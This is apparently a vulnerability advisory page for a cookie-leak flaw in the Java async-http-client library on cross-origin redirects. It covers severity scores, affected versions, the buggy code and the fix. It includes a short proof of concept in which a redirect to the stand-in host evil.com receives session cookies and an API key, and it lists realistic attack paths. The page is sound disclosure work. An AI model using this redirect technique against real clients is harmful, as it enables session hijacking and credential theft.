7.4high
async-http-client: Cookie header not stripped on cross-origin redirect
- Severity
- 7.4high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.35% (higher than 30% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-fmxf-pm6p-7xgm
Description
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Versions on the 2.x branch prior to 2.15.0 and the 3.x branch prior to 3.0.10 leak `Cookie` headers to cross-origin redirect targets. When following a redirect to a different origin, the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip the `Cookie` header, causing session cookies and other sensitive cookie values to be sent to attacker-controlled servers. Versions 2.15.0 and 3.0.10 patch the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| AsyncHttpClient async-http-client | >= 3.0.0.Beta1, < 3.0.10, >= 2.0.0, < 2.15.0 | CVE List |
| org.asynchttpclient:async-http-client (Maven) | from 3.0.0.Beta1 before 3.0.10, from 2.0.0 before 2.15.0 | GitHub Advisory Database |
| asynchttpclient_project async-http-client | from 2.0.0 before 2.15.0, from 3.0.0 before 3.0.10 | NVD |
All scores
| GitHub_M | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
| GitHub | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Versions on the 2.x branch prior to 2.15.0 and the 3.x branch prior to 3.0.10 leak `Cookie` headers to cross-origin redirect targets. When following a redirect to a different origin, the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip the `Cookie` header, causing session cookies and other sensitive cookie values to be sent to attacker-controlled servers. Versions 2.15.0 and 3.0.10 patch the issue.
GitHub Advisory Database
Summary
async-http-client leaks Cookie headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the propagatedHeaders() method in Redirect30xInterceptor.java strips Authorization and Proxy-Authorization headers but does not strip Cookie, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled.
Details
The vulnerability is in client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java.
The caller computes stripAuth on each redirect:
boolean sameBase = request.getUri().isSameBase(newUri);
boolean stripAuth = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect;
// ...
requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth));
stripAuth is true whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via AsyncHttpClientConfig#isStripAuthorizationOnRedirect().
In the vulnerable version, propagatedHeaders() only removes Authorization and Proxy-Authorization in that branch — Cookie is left untouched:
private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) {
HttpHeaders headers = request.getHeaders()
.remove(HOST)
.remove(CONTENT_LENGTH);
if (!keepBody) {
headers.remove(CONTENT_TYPE);
}
if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM
|| realm.getScheme() == AuthScheme.SCRAM_SHA_256))) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION);
// BUG: COOKIE is not removed here, so cookies leak across the security boundary.
}
return headers;
}
The companion test class RedirectCredentialSecurityTest covers Authorization / Proxy-Authorization stripping on cross-origin redirects and scheme downgrades, but has no coverage for Cookie, which is why the regression went unnoticed.
Proof of concept
import org.asynchttpclient.*;
AsyncHttpClient client = asyncHttpClient();
// trusted-api.com responds 302 -> https://evil.com
Request request = new RequestBuilder("GET")
.setUrl("https://trusted-api.com/endpoint")
.setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret")
.setHeader("Authorization", "Bearer token123")
.build();
client.executeRequest(request).get();
// Request seen by evil.com after the redirect:
// Authorization: <stripped>
// Cookie: session=abc123; csrf=xyz789; api_key=secret <-- leaked
Impact
- Session hijacking — leaked session cookies allow impersonation.
- CSRF token theft — CSRF tokens carried in cookies are disclosed.
- API key theft — API keys stored in cookies are disclosed.
- Privacy — tracking identifiers leak to third-party origins.
Realistic attack paths:
- Open-redirect in a trusted API endpoint.
- Compromised CDN or API gateway injecting redirects.
- MITM on a plaintext hop in the redirect chain.
Fix
Add COOKIE to the headers removed alongside AUTHORIZATION / PROXY_AUTHORIZATION on the security-boundary branch:
if (stripAuthorization) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION)
.remove(COOKIE);
} else if (realm != null && (realm.getScheme() == AuthScheme.NTLM
|| realm.getScheme() == AuthScheme.SCRAM_SHA_256)) {
headers.remove(AUTHORIZATION)
.remove(PROXY_AUTHORIZATION);
}
Note that the URI-scoped CookieStore will re-add any cookies that legitimately match the new target after propagatedHeaders returns, so legitimate cross-origin sessions tracked by the client are not broken.
Fixed in 3.0.10 and 2.15.0 by commit 3b0e3e9e.
NVD (es)
La biblioteca AsyncHttpClient (AHC) permite a las aplicaciones Java ejecutar fácilmente solicitudes HTTP y procesar asincrónicamente respuestas HTTP. Las versiones de la rama 2.x anteriores a la 2.15.0 y de la rama 3.x anteriores a la 3.0.10 filtran encabezados 'Cookie' a destinos de redirección de origen cruzado. Al seguir una redirección a un origen diferente, el método 'propagatedHeaders()' en 'Redirect30xInterceptor.java' elimina los encabezados 'Authorization' y 'Proxy-Authorization' pero no elimina el encabezado 'Cookie', lo que provoca que las cookies de sesión y otros valores de cookie sensibles se envíen a servidores controlados por el atacante. Las versiones 2.15.0 y 3.0.10 corrigen el problema.
References
| https://github.com/AsyncHttpClient/async-http-client/security/advisories/GHSA-fmxf-pm6p-7xgm | exploit, mitigation, patch, vendor-advisory, web | |
| https://github.com/AsyncHttpClient/async-http-client/commit/3b0e3e9e | patch, web | |
| https://github.com/AsyncHttpClient/async-http-client/releases/tag/async-http-client-project-3.0.10 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-45300 | advisory | |
| https://github.com/AsyncHttpClient/async-http-client | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-45300 changed 2026-06-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-fmxf-pm6p-7xgm changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-45300 changed 2026-07-23 | Public domain |